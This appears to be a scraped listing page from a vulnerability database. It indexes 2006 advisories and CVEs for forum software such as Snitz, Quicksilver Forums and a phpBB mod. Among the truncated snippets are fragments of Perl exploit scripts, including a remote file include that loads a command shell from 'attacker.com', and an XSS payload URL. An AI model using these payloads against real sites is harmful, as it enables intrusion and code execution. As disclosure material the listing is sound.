Snitz Forums 2000 3.4.6 - Pop_Mail.asp SQL Injection

Snitz Forums 2000 3.4.6 - PopMail.asp SQL Injection source: https://www.securityfocus.com/bid/20712/info Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an...

Snitz Forum 3.3.03 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl use Socket; print "\nRemote command execution against Snitz Forums 3.3.03 and probably others.\n"; print "You accept full responsibility for your actions by using this script.\n"; print "INTERNAL USE ONLY!! DO NOT DISTRIBUTE!!\n"; print "\nWeb...

amazonia-rfi.txt

!/usr/bin/perl AMAZONIA MOD for phpbb forums Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.superphotos.info/AmazoniaMod.htm use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END"...

phpBB Amazonia Mod (zufallscodepart.php) Remote File Include Exploit

No description provided by source. !/usr/bin/perl AMAZONIA MOD for phpbb forums Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...

CVE-2006-5203: Undefined Security Weakness

Invision Power Board IPB 2.1.7 and earlier allows remote restricted administrators to inject arbitrary web script or HTML, or execute arbitrary SQL commands, via a forum description that contains a crafted image with PHP code, which is executed when the user visits the "Manage Forums" link in the...

CVE-2006-4824

PHP remote file inclusion vulnerability in lib/activeutil.php in Quicksilver Forums QSF 1.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the setincludepath parameter...

CVE-2006-4824

PHP remote file inclusion vulnerability in lib/activeutil.php in Quicksilver Forums QSF 1.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the setincludepath parameter...

CVE-2006-4824

Quicksilver Forums (QSF)

Web Wiz Forums 7.01 - members.asp Cross-Site Scripting

Web Wiz Forums 7.01 - members.asp Cross-Site Scripting source: https://www.securityfocus.com/bid/20054/info Web Wiz Forums is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to have arbitrary script co...

CVE-2006-4824: Undefined Security Weakness

PHP remote file inclusion vulnerability in lib/activeutil.php in Quicksilver Forums QSF 1.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the setincludepath parameter...

Web Wiz Forums 7.01 - 'members.asp' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20054/info Web Wiz Forums is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in th...

CVE-2006-4796

Cross-site scripting XSS vulnerability in forum.asp in Snitz Forums 2000 3.4.06 allows remote attackers to inject arbitrary web script or HTML via the sortorder parameter strtopicsortord variable...

CVE-2006-4796

Cross-site scripting XSS vulnerability in forum.asp in Snitz Forums 2000 3.4.06 allows remote attackers to inject arbitrary web script or HTML via the sortorder parameter strtopicsortord variable...

CVE-2006-4796

CVE-2006-4796 is an XSS vulnerability in Snitz Forums 2000 3.4.06, exploitable via the sortorder parameter (strtopicsortord) in forum.asp. Remote attackers can inject arbitrary script or HTML. The provided documents do not include exploit code, specific root-cause details beyond the input paramet...

Snitz Forums 2000 v3.4.06

ENGLISH Title : Snitz Forums 3.4.06 XSS Vulnerability Author : ajann HomePage : http://forum.snitz.com CODE http://target.com/path/forum.asp?FORUMID=1&ARCHIVE=true&sortfield=lastpost&sortorder="scriptfunction20xssbaslatalert"Xss20Here";/scriptbody20onload="xssbaslat" etc...

quicksilver.txt

WWW.SecurityWall.orG Quicksilver Forums v1.2.0+1.2.1 setincludepath Remote File Inclusion Vulnerabilities Author: mdx Class : Remote cont@ct: bilkopatathotmaildotcom v1.2.0+v1.2.1 Code: activeutil.php? requireonce $set'includepath' . '/lib/bbcode.php'; Exploit:...

snitzXSS.txt

ENGLISH Title : Snitz Forums 3.4.06 XSS Vulnerability Author : ajann HomePage : http://forum.snitz.com CODE http://target.com/path/forum.asp?FORUMID=1&ARCHIVE=true&sortfield=lastpost&sortorder="function%20xssbaslatalert"Xss%20Here"; etc...

CVE-2006-4796: Undefined Security Weakness

Cross-site scripting XSS vulnerability in forum.asp in Snitz Forums 2000 3.4.06 allows remote attackers to inject arbitrary web script or HTML via the sortorder parameter strtopicsortord variable...

Quicksilver Forums 1.2.1 - Remote File Inclusion

Quicksilver Forums 1.2.1 - Remote File Inclusion WWW.SecurityWall.orG Quicksilver Forums v1.2.0+1.2.1 setincludepath Remote File Inclusion Vulnerabilities Author: mdx Class : Remote cont@ct: bilkopatathotmaildotcom v1.2.0+v1.2.1 Code: activeutil.php? requireonce $set'includepath'...

Quicksilver Forums <= 1.2.1 (set) Remote File Include Vulnerability

No description provided by source. WWW.SecurityWall.orG Quicksilver Forums v1.2.0+1.2.1 setincludepath Remote File Inclusion Vulnerabilities Author: mdx Class : Remote cont@ct: bilkopatathotmaildotcom v1.2.0+v1.2.1 Code: activeutil.php? requireonce $set'includepath' . '/lib/bbcode.php'; Exploit:...